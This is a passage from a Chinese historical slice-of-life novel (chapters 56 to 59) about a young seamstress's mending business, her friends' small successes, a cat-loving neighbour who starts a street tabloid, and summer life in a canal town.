只是总想,以前攒一贯铜钱,不倒欠着自己就可喜可贺了,眼下能攒十五两银子,她只想说谢天谢地,让她赚钱。 她梦里迷迷糊糊地想,其实买田买屋,不如先买间铺面,她想有间裁缝铺子,她又翻了个身想,等她再攒点钱。 五月后半个月里,林秀水一直在忙缝补处的事情,抽空还得做领抹,顾娘子虽然对李锦和小七妹的抽纱手艺满意,但始终觉得差点意思,她还是得顾两头。 而桑英在早也用功,晚也用功,学练字写字,在早米行里认各种米,能稳稳将升斗刮平。 早米行六月里到了收新米的时候,人手正缺,要新招几个小牙子,往各家铺子里 支米,但要识字的。 终于让她抓着机会,她每日跟思珍学认字,买了两根蜡烛,夜里不管多晚,多累都要学一个时辰,她知道自己不够聪明,学字总犯糊涂,一个字翻来覆去看,十遍不行就百遍,再一遍遍地写,不厌其烦。 没辜负她的蜡烛和眼泪,她往上走了,从一个月只有九百文的打米人,成了专往各家铺子送米的米行小牙子,月钱有一贯八钱。 她几乎是出了早米行的门,扑到林秀水身上说:“我涨月钱了,有一贯八钱!” “好多好多钱,你摸摸我手,我的手都是抖的。” “你都不知道,”桑英忍不住想哭,“那个行老问谁识字,会认铺子名的时候,我还没想,我身子立即就站起来了。” “我说我识字,铺子名我认识,我还能写上些字,我会摇船,我还认识各种米,打升斗我也能打,我肯定行的。” 桑英哭得稀里哗啦,林秀水给她擦眼泪。 大概是数出来才知道,从前什么都不会的自己,居然也有了能说出口的本事。 从不会到我可以,要熬上很多日夜,但幸亏,所获得的没有辜负每一个日夜的努力。 桑英说:“我觉得,我好像也不是那么没用。” 她生出小小的期许,“也许好多年以后,我也能成为个很厉害的小牙子呢。” “是啊,那么很多年以后,我兴许是个了不得的裁缝了。” “可是你眼下就很不了得。” 林秀水看向桑英,“你也是的。” 希望了不起属于眼下的我们,属于以后的我们。 第57章 第 57 章 春天干缝补生意,夏天里…… 桑英当了小牙子, 五更天起便要上工,摇船去各家米铺送米,多少斤数, 各种早米,哪家哪户不能错漏。 可她想自己要干好,怎么都得咬牙撑下来做, 好叫捎信的时候,让她娘知道,她在这里也有好好干活,没有混日子。 她也终于跟陈九川坦白, 说自己在学认字,陈九川倒没说什么,反手给她买了一叠纸, 让她多写多练,好好练。 只是私下里跟林秀水嘀咕,为什么不跟他说。 “连你也不跟我说。” “我口风紧的呀,”林秀水不走心地安慰他,“下回你有什么事情告诉我,我也不跟桑英讲。” 陈九川狐疑,“实话?” 林秀水坦诚道:“虚话。” 那是什么话?是陈九川再也不想问林秀水是不是实话。 六月初的天里, 桑英早上要摇米行的船到处走, 林秀水自己摇船上工。 她已经在裁缝作里混出了名堂, 重点不在于名堂, 而在于混。 各个屋子打转,修桌椅、挂布帘,补纱补洞,裁缝作里当真是“除旧布新”。 庄管事很满意, 满意得很,“这活我就说除了你,找不出别的人来干。” 毕竟没有人跟她这么行业对口了。 庄管事想林秀水待在缝补处,好好干,顾娘子这头则是想,先干着,但一直有个想法。 她找了林秀水来,先请人坐下,上茶后再说:“我觉得缝补处位置不错,旁边还有间空屋子,我想把你做领抹的活移来到这边上,叫李锦和小七妹也搬过来,不用你来回走。” 林秀水只想说,怪不得做成衣铺的买卖,真是一套一套的,抽完纱后送到缝补处补吗?离奇又搭配。 她没反对,觉得顾娘子从一开始打的这个主意,要将抽纱绣跟其他做领抹的分出来。 毕竟领抹和领抹相差太大,其他人缝领抹,只要布和针线、绣样,占一小块地方,而她们三个抽纱的,要光线最好的窗边,占据了不小的地方,后面还有新裁缝进来,就没地方了。 缝补处边上相隔的,还有间青瓦顶的大屋子,只是落了锁,她来来去去也好奇过,原来是给她备的啊。 屋里敞亮,左面木墙全是一排黑漆方格眼窗,三张桌椅,以及抽纱用的绣架,宽敞到她左手抽一匹,右手抽一匹,搬张床来,躺床上抽都行。 李锦抱了东西进来说:“这屋子宽得跟大袖衫一样。” “这里太静了,我也许要不了多久,就得成个哑巴,”小七妹哀叹一声,怪不得涨了月钱,原来是封口费。 林秀水擦了擦桌子说:“那你得看小儿科。” 小儿有哑科的称号,现在归她们抽纱绣了,自打从领抹作分出来后,别的裁缝叫她们为“织造司”,说明年上市的丝都在她们手里先上了。 还有促狭的称其为税关,因为抽税如布里抽纱,分毫不能差。 林秀水坦然接受,还说那得叫顾娘子给自己封个官,大家说封她为官纱,一听就是从官府手里出来的,想要贵一点,还能称天净纱。 就在这样的打趣里,抽纱绣便单独分出来,并且有相当多的活,做不完,根本做不完。 不过相比做抽纱绣的怨天载道,缝补处的婆子们就忧心忡忡得多,她们手里的活做完,估计要隔一阵子来一趟,裁缝作里也没有那么多东西给她们补。 其他裁缝跟林秀水吃饭碰面时,也会有裁缝娘子说:“阿俏,你就不怕你们这缝补处没活做,裁撤了吗?” “对啊,本来裁缝作里的活就没那么多,到时候底下的人走了,你可怎么办?” 有些人也总喜欢操心,或者是说潜藏在内心,想看个笑话。 当然也有真替林秀水担心的,怕她成了底下没有一个人的管事。 林秀水闻言,她倒不担心这个,但她真的很上心。 就算不为她,也得为这婆子操下心,毕竟她不缺活干。 林秀水慢悠悠吃完饭,跟小春娥说一声后,去找了庄管事跟顾娘子,两个人听她的高见。 “缝补的活我们做得差不多了,这是账册,上头记了我这些日子来的所有花销,总共是十二贯五钱多一些。” 她把账册递过去,该说的全一一详细说清楚,她上任以来,该换的都换了,该补的都补清楚了。 停顿会儿才说:“虽说这是我们裁缝作的缝补处,但我觉得,还可以是其他地方的缝补处。” “我们做缝补的,不能光盯着一处地方补,不能没活就不做,不能只花钱不赚钱,我们可以从外头接活来做,钱赚了,活有了。” 最重要的是,缝补处一直会在。 “嗯,嗯?”顾娘子先是随口应了,而后抬头瞧她,什么东西? 庄管事则是,“啊,啊?” 差点没把嘴里的茶给喷出来,什么玩意? 林秀水坐得端正,朝两人微笑。 她的高见便是,没活就找活,从不赚钱变成赚钱。 顾娘子合上账册,很不解地问:“我们这是裁缝作,你想我们去吆喝,让周围大家伙到我们那拿东西来缝补?” 她想想便觉得自己不是想挣钱,是豁出去了。 “怎么吆喝?”庄管事说,“要不我出去给你唱一嗓子,小林啊,我们做人要务实,缺钱了可以讲,我可以借你,你记得还我。” “但是呢?我们不能想一出是一出。” 林秀水才没有,她想好几出,即使面对质疑,也镇定地说:“是接帐设司的活。” “啊,嗯?咳咳,”庄管事呛了声,能别总在她喝茶的时候说这种话。 顾娘子抬眼,来了点兴致,“接什么活?” 庄管事终于反应过来,“帐设司,帐设司的活?你还认识帐设司?” 帐设司跟顾家裁缝作往来有,但不 多,毕竟裁缝作主要缝衣,而不是缝帐幔、布帘等摆设的东西。 林秀水真想回那当然,只不过憋住了,她来前就已经问过,帐设司给她的活不少,她一个人根本做不完,加上周娘子也不行。 推了不少活,人家还以为她不想做,给她加钱,加钱谁能拒绝。 这种帐幔、桌帷、布帘的活,缝补处的婆子这么多日子来,一直在做,不存在做不好的问题,缝补处地方也大,布匹保管得当,能应对帐设司的诸多需求。 一个人是吃不了那么多饭的,一口锅里的饭,她吃饱了,总得叫其他人尝尝。 顾娘子最后说:“你要能拿帐设司的活来,你就拿来,至于钱,我们对外接一批活的价钱是六贯,你按月拿六贯的三成出来。” “至于其他的,你来裁缝作前我就说过,能靠本事混出来的,可以给你搭台子。” 其余东西,庄管事跟林秀水详细商量。 庄管事出来后给她打伞,边走边说:“你是做管事的料,值得你这么费心。” 林秀水只说:“我也是做缝补的,最知道没活的难处了。” 帐设司的布料是第三日送来的,要按上头的尺寸做帐幔,缝补处的婆子压根不用发愁于没活了,要让她们离开这里。 林秀水笑着跟她们说:“眼下总该要发愁些别的,比如说活多得做不完了吧。” 李婆子忙摇头道:“不会,活多得我们心里踏实。” “越多越好,让我们在这过夜都成,不然都觉得这份涨的工钱,拿在手里烫手。” 不行,过夜干活犯法。 林秀水也是真在裁缝作里混出名了,好多人见了她,得喊声林管事。 无比真心实意,因为私底下说林秀水是真的会管事,而不是事情到头上,推来又推去。 后面林秀水才知道,原来是这种管事啊。 但是小林管事可喜欢这称呼了,走路带风,她做梦的,眼下这热天里,走路只能冒热气。 在家里待着热不热,看蚊蝇出不出来便知道,一只出来算它命硬,成群出来是凉快,一只没有,那全热死了。 她一到下工,她就想坐在船头,躲桥洞里,凉风吹得很舒服,不过要去接小荷。 小荷怕热,她今日头上还顶张绿油油的大荷叶,两手捧着边,露出脸来说:“我同思珍姐姐去摘荷叶了,我们还学了莲叶何田田,鱼戏莲叶间,鱼反正戏东南西北。” “真好,”林秀水附和,又立即道,“你不知道给我摘一顶吗?” “我不知道,”小荷很诚实地回答。 林秀水说:“原谅你了,小荷叶。” 得亏她还有伞,但后面不想原谅,小荷老踩她的影子。 在思珍家的这条路上,总有不少下学的学子,一个学子无精打采,跟跳上岸干巴的鱼一般,只有眼睛是亮的,问他娘说:“娘,你就不能跟先生告个假吗?我一上书院,就跟在自家床上一样,怎么睡都香。” 他娘说:“你能别睡了吗?讲梦话也要讲点道理。” 小荷也有样学样,“我明日能告个假吗?” “能,可以,行,”林秀水回,不学就不学,夏天正好眠。 前头母子俩看她,林秀水改口道:“我不讲道理。” 热昏头了还讲什么道理,没云里雾里就已经很好了,当然她坐廊棚底下吹风,有人过来跟她讲天上的云。 是个很朴实的老汉,拿着一叠用白宣纸剪出来各色的云。 他低声问:“我听说这里缝补和做东西便宜,能给我做个书袋来吗?我想把这些云放好。” 林秀水看他手里的云一眼,点点头说:“能做的,十文就成。” 她又问:“老丈,这是你自己剪的?” 老汉笑笑,“是啊,我是个纸匠,平时见惯白花花的纸浆,摸着的纸跟抬头看见的云一样白。” “我就看啊,一看每天出来的云还不一样,有的圆,有的长,有是红的,有些金黄的,我这辈子也没别的嗜好,就迷上看云了。” 老汉说:“别人总说,这云没什么好看的,可我看这云啊喜欢得紧,可见完就忘,我又不会画,只好描样子剪下来。” “梅雨里还有几张发霉了,我只好给扔了,实在可惜。” 林秀水看他剪的云,千奇百怪,各种各样,零零总总几十张。 她小心拿在手里,白花花软薄的宣纸,跟他所见每日的云一样。 不过她跟老汉说:“老丈这得裱,不裱边会翘起来,许久后会发黄,破裂,我边上有个裱画的,花点钱,他能给你裱好,叫你过十几年都还能看见今日的云。” 老汉一听,愣了会儿,而后又笑道:“好,就等着十几年后了。” 裱书画的夫妻两个一起给他裱的,还给老汉指了指前头那个路口,有个夏日爱出门画云的中年男子,说不准还能成知己。 那男子总说,天上有行云,人在行云里,看云后,才觉得天地宽广。 林秀水给老汉缝了个加厚两层的书袋,老汉后头也经常过来,他也不说话,就坐在前面棚子底下,他剪着云,旁边男子画着云。 她也抬头,王月兰过来也往天上瞧,说了句,“这云跟丝绵一样白。” 桑英说:“白得像米,团起来像米糕。” 有人路过也抬头,“跟我家的瓷枕一个色,我有个白瓷枕,夏天里睡着老凉快了,我说呢,肯定跟睡在云里一样。” 一群人不去吃饭,就仰头搁那看天,都觉得自己瞧出名堂来了。 夜里不是看云,是瞧布袋戏的时候。 小孩子没到时候就搬凳子,抢着要排前头,苏巧娘心里说不出来的欢喜,跟林秀水说:“我想成立一个小布袋戏社,你说怎么样?” “即使大家是小孩,可只要喜欢布袋木偶,那便是同好,我就能送大家每人一只布袋木偶了。” 这会儿社尤其多,只要同好多,不管什么都能成个社,甚至还有声名远扬的穷富赌钱社、重囚枷锁社。 以上两个都能结社,成立小布袋戏社,林秀水相当赞成。 要做一面红色的社旗,老算命写字好,他来写社名,周阿爷做竹子用的幌杆,林秀水做了小布袋偶人,给穿上苏巧娘惯常穿的衣裳。 青蓝色小抹胸,绿色短褙子,蓝色的一条大裤,还会罩条偏褐色的合围裙。 这是面很独特的社旗,至少只是这群小布袋戏迷聚在一起的旗子。 有些爹娘还怕要花钱,没想到苏巧娘倒贴给小孩一只布袋木偶,便哑口无言,放任孩子到这个小布袋戏社里去。 连陈桂花都不拘着她儿子大饼,叫他也来混个偶人玩玩,林秀水都已经能得知她会说的话,不要白不要。 苏巧娘则说:“小孩能来,喜欢就给大家做。” 她还想教大家怎么玩布袋木偶呢。 林秀水则出歪招,“是啊,多教点,下回让小荷上去演,她肯定很乐意。” 她又正经起来,“到时候搭个小台子,大家想玩的都能上去,我会捐衣裳的。” 苏巧娘惊讶看她,林秀水摸摸鼻子,倒不为别的,就想看这群小孩的乐子,她为此能多捐点布偶衣裳。 眼下天热,她都有点提不起劲来做衣裳,大家改衣裳改来改去,大多是那几个样式,她只有在裁绢孩儿衣裳时,能正经做几套衣裳,搭各种布头玩得不亦乐乎。 而来缝补的,斗笠、团扇生意最好,大家说,天热恨不得把自己光着,衣裳破了都不是很想补,还能漏点风进来。 林秀水说:“从前你们不是这样说的。” “对啊,那是春天,到夏天里说的话还能算数吗。” 有人指指自己的鞋,漏两个洞了,他摇摇头说:“不想补了,想多剪两个洞。” 来了一个娘子说:“阿俏,你剪得好,你给我这裤子多剪点,衣裳也剪了,剪齐整点,我到秋天里好找你拼回去。” “天爷,你怪聪明的,等我回家找找去,我还能少买两件衣裳。” 林秀水震惊,林秀水躺 平,干了一个春天的缝补活计,到了夏天里,她转行了,可恶。 当然也有人领着六只猫过来,叫她做衣裳,早不来晚不来,她“转行”了再过来。 大热天的,是人吗?要给猫做衣裳。 那人说:“是啊,总不能是半个人。” “也没有半个人穿的衣裳啊。” 第58章 第 58 章 桑树口小报 猫见多了, 半人林秀水没见过。 “别说你了,我活了十八年也没见过。” 那没领猫来的圆脸男子顺嘴接上。 老算命靠柱子上,摇了摇蒲扇说:“是啊, 半人上街不穿衣裳,那多吓人。” 周围一群正聚在一处闲聊的人,本来嘴里说明早要去茶山巡山, 也有要薅桑叶去的,听闻这话,慢慢全转过头来盯着几人瞧。 死人就死人,搞什么半人, 漏泽园里的人都想不出这种行话来。 毕竟桑青镇里的人,骂人很雅,被仇家气得要命, 不骂天不骂地不骂死,就说人家赶着上漏泽园里去,等着先埋。 林秀水说她们敢说,她都不敢听,便转而问:“猫呢?” 六只猫呢?大热天的,她连个猫影都没瞧见。 那男子摊手道:“还醒着呢,等它们睡了, 我给你捉过来。” 他自封为广惠, 不是僧人, 镇里负责灾荒救济的粮仓叫广惠仓, 他说自己救济跑到自己家里的猫,又散粮又散财,就该叫广惠。 “你给自家的猫做衣裳?”林秀水不解且稀里糊涂。 广惠理直气壮地道:“对啊,它们自己跑到我家中来的, 怎么不算我的猫,我只是没生它们,我又不是没养它们。” 林秀水哦哦两声,还是那句话,“那要领猫本猫来啊。” “可猫醒着的时候不想来。” 林秀水没说话,这简直是鸡同鸭讲,猫穿衣裳狗戴帽,全乱了套。 “但是别急,我带了猫小报来,”广惠说,从布袋里拿出一叠纸来,他独家特制的猫报,毕竟除了他家猫,别无他喵。 别人是支摊供朝报,卖各种小道消息,他说什么内探,省探、衙探,都不如他这个猫探。 广惠递过去给林秀水,又转头面向众人说:“在座的都没有份啊,猫报我还没出摊卖呢。” 谁稀罕?谁乐意?谁想瞧一样? 那当然是她们这群爱看热闹的,这人报见多了,猫报还是破天荒头一回,那挤破头不嫌热的劲,像东边街头肉铺里,说肉只要三文钱一斤的哄抢架势。 可是林秀水又不是三文钱一斤那肉,她觉得自己是那头被哄抢的猪。 “停停,”林秀水三步并作两步,呲溜抄起凳子,人往上头一站,举着猫报像是在公布皇榜,“我念给你们听啊。” 底下人被她整懵了,有人说:“那咋听,跪着听?” 其他人接话:“出去听。” “别站在这里听。” “回自家屋里听。” “都好好听。” 林秀水真服了,她热得淌汗,两只手展开纸,眼睛往猫报上面瞟,稍稍瞪大了眼睛,这猫报做得挺有意思,竟然有猫图和排版。 时下小报是从各路探子手里得知的消息,为了搏眼球,那是消息一到手里,文人手里的笔跟马一样飞驰,匆匆写就一篇。 而印小报的作坊,则是不用雕版印刷,而是采用蜡板,这种蜡版是用蜂蜡以及松香做成的,比木头软,好雕刻,写好的内容一到手,马上刻好印到纸上,等不了过夜,立即发卖出去。 毕竟他们干的是胆大包天的活,那是真能先奏后斩头的,胆子大破天,连官家没有发过的圣旨都能伪造出来,传得沸沸扬扬,并且能让官家下诏书澄清的存在。 那么这个猫报,比起成篇黑漆漆的字符要有趣得多,其一右半张是猫图,她翻给大家伙瞧,上头是只白猫,头顶一撮黑毛,嘴巴一圈也黑。 广惠插了句道:“这只叫猫里白,所有猫里属它最白。” 有娘子说:“这不就是白芝麻混进了黑芝麻,雪白一团糕,该叫它芝麻糖。” “糖是甜的,它这猫黑心得很,”广惠气急,叫林秀水翻左边来,满满一页罪猫证,林秀水低头看,上头写了,包括但不限于,有水不喝,光明正大喝他碗里的水。 啃他种的花,连叶子都揪掉的那种,有路不走,故意跳到案几上,用尾巴去抽花瓶,直到落地砰一声响,才炸毛跑开,边跑边尿。 还有身飞檐走壁的轻功,但它不飞檐只走壁,老是趴到横梁上,张开爪子,紧紧贴住,当自己是只壁虎。 诸如种种,罄竹难书,广惠要广天下而告知,此猫白皮黑心。 “那不就是浮元子,”林秀水顺嘴接上,“白白面皮,黑心芝麻,多好吃。” 她要给猫做无罪辩护。 大伙又讨论,大热天的哪家浮元子好吃,林秀水倒是继续看,这张猫里白的猫报上,左边一页,还写了年纪,捡到它到眼下两年又三个月。 喜欢刨土,不爱吃鱼骨头,生了一对爪子不得空,哪哪都要挠几道,证明此猫来过,比在此题诗作画还要深刻。 广惠做猫探是很合格的,画图活灵活现,第二、三张是狸花猫,双生子,一个叫花鲤,一个叫鲤花,两只都爱吃鱼,而且爱吃他缸里养的鲤鱼,广惠说祝它俩天天吃上鱼。 第四张和第五张也是品种相似的猫,这两只是橘猫,一个叫野菊花,身子不大好,眼睛也不大好,病恹恹的,因为看不大清楚,老是爱睡觉,镇里的山上野菊花开得最多,成片成片的,命硬,而且野菊花又清肝明目,就取了这个名字。 老五是只小橘猫,跟猫小叶头两个月前很像,小小的,瘦瘦的,叫作菊苗,猫报下有解释,临安府多菊,什么白菊、甘菊,都不如家橘。 林秀水从未佩服一个人的取名能力,猫小叶输了啊,但还好,猫小叶是有姐姐人小荷的。 大家听得津津有味,那些稀松平常的事情,咋就能在别人嘴里说得那样好,活灵活现的几只猫。 最后一张是玳瑁猫,它左边脸是黄的,右边脸是黑的,在鼻子到眼睛处,像是明显的分界线,分出左右两边来,眼睛圆溜溜的,一看就没有坏心眼。 这只猫叫作昏晓,广惠说:“不知道哪里逃出来的,捡到就有伤,以前有句诗叫造化钟神秀,阴阳割昏晓,它脸上黄黑色,正是阴阳二色,叫昏晓最合适。” 众人给他叫好,他立即行礼说好好,不过是个没考上功名的书生罢了。 昏晓爱静不爱动,胆子又小,长长尾巴翘得老高,爱黏着人腿走,吃饭要慢慢来,喝水要慢慢来。 广惠笑道:“我原就是为了它来的,想叫你给做身衣裳,最好显眼点,挂上铃铛。” “可猫耳朵灵,是不能挂铃铛的,”林秀水解释,小心收好这猫报,从凳子上下来,还给这个猫痴。 广惠点点头,他擦擦手里的汗,接过猫报来说:“我知道。” “它是只聋猫。” “胆子又小,有时候跑着躲到哪,我到处找也找不见,我真怕哪天它丢了。” “给它一只做衣裳,又显得鹤立鸡群,且其他猫要长嘴,定要骂我偏心眼子。” 他甩甩袖,哼了一声又道:“兄弟姐妹不合,多半是长辈无德。” “我不偏心,都做都做。” “那你猫呢?”林秀水又发出相同的问话。 广惠摊手,“带不来啊,这不请你想想法子,大家都说你厉害,你的名声在外。” 是啊,名声在外,有好有坏。 天降大任于斯人也,斯人是她,考她来着呢。 在这么多热切的眼神里,林秀水要被烤死了,她挥挥手,“有办法,做个猫围兜。” “这围兜是正经东西吗?”广惠想了想发问,“虽说是大热天的,裸着猫膀子,穿肚兜也不大合适吧。” 林秀水抬头看他,缓缓吐出几个字,“我很正经。” “这只是围脖子,兜口水的。” “那我知道,口水巾嘛,整这么个好听名字做啥,”围观的人插句话,“实在不行,还能叫兜脖。” 林秀水闭了闭眼,就说这么一群人,能不能别瞎打岔啊啊。 她给猫画围兜,只需要后面广惠带着猫脖子尺寸来就行,这么一说还怪吓人的。 围兜比较好做,不管是两个倒三角形的,还是像满褶裙一样打褶的花边,或者是倒着的半圆口袋围兜都可以,夏天里也不怕猫太热。 主要昏晓的猫围兜,可以加一个圆边的小领子,缝个小小的铃铛。 广惠说六只全要做一样的,缝铃铛可以大点,昏晓他 会单独养的,聋的猫在猫堆里也不大受欢迎,只会受委屈。 至少让他听见声,能在屋里找到昏晓躲在哪个角落里便行。 当然之后他也后悔,买那么大铃铛,那真是猫听不着,全给他听了,也是闹心。可他也很快能捕捉到昏晓的动静,总是能第一时间看过去,安抚它。 林秀水点点头说:“行,我正好也比较闲,不收你钱,你这猫报抵了。” “那不行啊,”广惠摇摇头,“实在不成,耽误你工夫,你不收钱我心里过意不去。” 林秀水随口道:“那不然你也给我们桑树口做份小报,我觉得你是个做小报的人才。” “你不止可以做猫探,你还可以做街探。” 广惠在一声声地夸赞中,他这个落魄的,读了十年书的,没有考上秀才的,被家里大骂没出息的混蛋玩意,又不是很缺钱的人,就这样在追捧里,做起了桑树口的街探。 反正他是个不能光耀门楣的人,那么他这种人,一定做什么都可以的。 桑树口最值得写的,一定是缝补廊棚,他跟蹲在树底下看猫一样,时常拿把交椅,一叠纸笔,也不带桌子,就蹭一蹭人家补书画的摊子,说是笔墨纸砚不分家,他们即使隔了一百八十道弯,百年前也是一家。 因为他做小报特别认真,老爱问,别人来补双破鞋子,他都要凑过去问,“这鞋哪日坏的?怎么坏的啊?补,这要怎么补?” 或者是说:“猫啊,猫不管黑猫白猫,那都是好猫啊,罪猫也曾经是万里挑一出来的好猫。” 所以大家又给他取名为猫百问。 猫百问广惠白日当桑树口街探,中午回去撸猫睡大觉,夜里又出来,当夜猫子在桑树口晃。 夜里小布袋戏社开班了,一群小孩出来玩布袋木偶,他也要过来玩,只是套手里玩着玩着,他说:“怎么没有猫袋戏?” 林秀水喝卤梅水,她咽下去说:“那是什么戏,你回家看你的猫戏去。” 但就在这样的日子里,桑树口迎来了第一期小报,一张大纸,密密麻麻的,林秀水只有四个大字,谁会买啊? 她要怎么当众念出来呢? 内容大概是这样的,某年某月某日某时,张老三带着他的一张破渔网过来,据他所说,这渔网是被条十来斤重的大鱼弄破的,那真是好大好大一条鱼,如图所见,只是鱼跑了,他悔恨万分,但是要将这件事跟桑树口全部人说一遍。 本街探认为,他不是来找黄阿婆补渔网的,他是来炫耀自己那条没到手的大鱼。 下图一张很大的鱼奋力拼搏,而后从网里溜走了。 张老三一听,当即拍腿,“对啊对啊,可算有人懂我了,当时就是这么老大一条鱼啊,从我眼皮子底下溜走了,你说说多么气人,我可不就得拿渔网过街。” “放屁,桑桥渡就没有那么大的鱼,”时常来给林秀水送猫鱼的卖鱼娘子反驳。 广惠立即记下,骗人的?等他问问再说,不能冤枉好人。 林秀水伸过头瞥了眼,真是造孽。 这小报内容详尽到什么程度,大概是林秀水下工回来,只要瞟上一眼,就能知道桑树口人谁家某某干了什么事情,什么因为蚕种吵架,怎么吵的,三小孩为何无缘无故拜起了街头老桑树,这种事情都能写。更令人无语的是,连街头两只猫吵架、厮打这种事,也能被详尽描述。 这是史官还是铲屎官?? 但谁也希望被关注被夸赞,广惠这份不要钱,白打工、倒贴油墨纸笔的活计,就这样做了下来。 他立志要为桑树口出一辈子的小报。 林秀水听了,拉人一个子弟误入正途啊。 广惠说:“放心放心,我肯定会让你青史留名的。” “什么名?我大名林秀水,除此之外,我还有个小名,”林秀水简短回复。 倒是有个人,跟块黑炭一样蹦过来,人没到,话先落下来了,“那能不能写我,我要青史留名。” 张木生晒得跟最纯正的黑炭一样,一点污染没有,只有两眼睛是白的,那当然,他真的有很认真在救火,日日抱着水囊出门的。 “噢噢,潜火兵,写你什么呢?”广惠很认真地问,“我写你怎么救火。” 林秀水已经想走了,她都能猜到张木生下一句话是啥,别人三句离不开本行,他三句离不开身高。 “当然写我,张木生,在这个热死人的日子里,长高了!” “不凭影子不凭凳子,也不凭老丈的拐杖,我实打实地,长到了五尺四寸(一米七)!给我写上!” 张木生简直刚过线就狂喜,他这么多日子里,拼死拼活,每日投几十上百个水袋,别人睡了他都得硬撑着摸高,终于到了入选厢军的最低要求身长,不用他再多长个脑袋了。 嘿,脚自己长了。 好不容易长的身高啊,当然得往死里写,大写特写,写下来刻出来,发给全桑青镇的人瞧,张木生身长五尺四寸。 他以后碑上都得刻上这句话,打包带走。 什么能做厢军,不再是潜火兵里被质疑走后门的,不再是小鸡站在母鸡下,张木生真的想哭,可惜他的眼泪得留着到火场里再哭,不然烟会晃眼。 “广惠和尚,呸呸,”张木生忙说,“小弟,你帮我写上吧,我裱起来。” “我不是和尚!!你实在要叫,请喊我道士。” 林秀水在一旁听完,好了,太好了,终于不用听这家伙,翻来覆去念他的身长,可喜可贺。 至于张家,他们也高兴,老张家出了个高人。 大热天里,林秀水不仅保住了耳朵,还保住了她的饭碗。 王月兰终于不再执着于做饭。 六月热天里,连她姨母这个铁人都熬不住,在丝行里缫丝热得满脸通红,回家她跟林秀水都不想做饭,终于松口,她们也三餐买来吃。 放在从前的夏日里,她宁可把自己热死,一天烧三遍炉子,或者吃水淹饭,也绝对不肯花一文钱到外头买现成的。 眼下她自己每个月赚两贯多,有时起早和歇工时,给别人家缫丝去,能多赚个几百文, 且林秀水从到裁缝作后,又升为个小管事,每月里都有节礼。 光是五月端午的节礼,就有三斗的白米,两袋白面,十来斤红豆,又送一桶黄鱼,一罐黄酒来。 以前是升儿米,把儿柴的买,一升米都要来来回回挑便宜的买,酒醋舍不得买,从手里抠着钱用,这会儿米面不缺,王月兰不用计较那些,慢慢还清了欠着的屋债,也不再担心六七月里要收缴的五六百文屋税。 有些钱心里踏实,无债一身轻,她终于舍得花些钱,让自己轻省点了。 王月兰在屋里说:“从明日起,我们早上还喝自家的粥。” “噢,哦,”林秀水站起来,她又坐下来,这句话可以不讲的。 王月兰大喘气地说完:“晌午饭买着吃,夜里也买着吃。” 小荷真诚发问,“这两样为什么要分开说。” “懂什么,”王月兰哼一声,她俩都不知道,她到底下了多大的心,才能说出这种失心疯的话。 林秀水可太懂了,至少她姨母都舍得花二十文,去买一罐瓦市里的甘豆汤了,之前她死活要自己熬,说买来的东西是钱多烧得慌。 眼下她改口了,“得别人烧自己不慌才好。” “对,怎么都对,”林秀水捧场,饭这个东西,还是得别人做的才好吃。 比如什么雪泡缩脾饮、鹿梨浆、鱼桐皮面 、炒鸡面、水荷虾儿、虾包儿等等,那确实是好吃。 不过她最大的愿望是,哪天她能跟报菜名一样,报自己有的布名,比如药斑布、绵绸、菱湖水绸、醒骨纱、天净纱、云罗、轻罗、满园春罗等等。 那么她会很欢喜,每天不是数钱就是数布,而不是在她的屋子里,对着只有几匹同色的黄草心布,按着手里该改的纸样却提不劲 来,做着未来的春秋大梦,简称秋天里想要实现的梦,实现不了明年春天也会实现的梦。 她热死了,将头磕在桌子上,褙子啊褙子,长的短的,加宽的变窄的,到底为什么要翻来覆去改。 裙子就裙子,样式就那样,她也改不出花来了啊,一摸着这种纱质的布,她下意识就想抽了它,幸好她左手反应迅速,按住了右手。 改不出来,又没有人商量的时候,她也会砰砰磕几下脑袋,撞几下桌板,再冒出个念头,找个师父吧。 确确实实,她该正经拜个裁缝师父的,看大家都有师父手把手教,一点不会都可以问,她也想要有个讨教的人。 想要在裁缝这行里继续走,她真想好好学。 第二天到了裁缝作里,她说出了自己这个想法。 “别闹,”庄管事说,“我能给你找个啥样的?抽检的那种吗?” “就是在税口里检查东西到底行不行的。” 林秀水想说,大热天的,多说些这种冷到她接不上的话,冷死她算了。 她们抽纱绣这个收税的别称,到底传扬了出去。 林秀水又转头去领抹处,找老裁缝问问,她认识的人多。 老裁缝说:“找啥样的?能把你点化的?找庙里的可以,我回头寻人去问问。” 林秀水看她,“那我先买个木鱼子呗?” 但两个人确实是逗她的,说会给她留意下,有没有那种几十年功底的,教她正经裁缝的做衣法子和经验。 反正挺难找的,让她先缓缓。 林秀水说:“好。” 衣裳不大能做得下去,天热闷得很难受,小春娥都请了一段日子长假,烧炭的活太累,而且又不透气,她长了红疹子,除了身上大片大片的,还有脸上一颗颗。 她说:“等我熬过了夏日里,当真烧不下去,留得小命在,不怕没炭烧啊。” 小春娥很想得开,“眼下是难熬了点,秋冬里那我肯定就是最舒服的人,有炉子在,半点不怕冷。” “你等我缓一缓,我再回来上工。” 林秀水点点她的胳膊说:“是啊,等会儿回来上工,那就是留的红疹在,不怕明年消了。” “还上吗?” “不上了,给你打下手去行吗?”小春娥说。 林秀水毫不犹豫,且十分真心地说:“那当然行,我会请你来,并给你十文钱的。” “不要怕回来后,又因为暂时不能烧炭不能干活,活有的是给你干的,我在这里呢。” 小春娥两眼泪汪汪,“你比我亲娘还好。” “那我也不介意你喊娘的。” “不可以。” 林秀水就知道,她说:“那以后骗人的话少说。” 当然夏天里,这种闷热的日子,林秀水也有些苦闷,而她排解无聊的法子,是到人家绞缬(xié)染肆里,自己扎染布头。 不想做衣裳,一半是天热,另一半一定出在布上,换种新布说不准就好了。 第59章 第 59 章 新手艺之绞缬 这家染肆在林秀水租的裁缝屋子后面, 往右走,过转角的夹弄里,靠着一堵墙, 青砖瓦墙上有斑驳的蓝绿色痕。 角落边堆叠着几只倾斜的木桶,门上的木痕中印着深深的染料,从屋檐处垂下来一条蓝布条, 没有招幌也没有牌匾。 林秀水第二次来,这间染肆里一家子在做活,她认识里头母女二人,一个叫蓝大娘, 一个叫青丫。 蓝大娘本名林秀水不知道,染几十年蓝布,名字也跟蓝布姓了, 青丫染的蓝布比她娘要好,从前叫蓝丫的,但镇里好取诨名,说是青出蓝而胜于蓝,叫着叫着,就成青丫了。 两人体格都壮实,有把子好力气, 而且她们家绞缬(xié)手艺, 是母传女, 一辈辈传下来的, 不管到哪里落脚,都能靠这门手艺谋生。 蓝大娘又教青丫,青丫前头嫁了人,守了寡又生一对女儿, 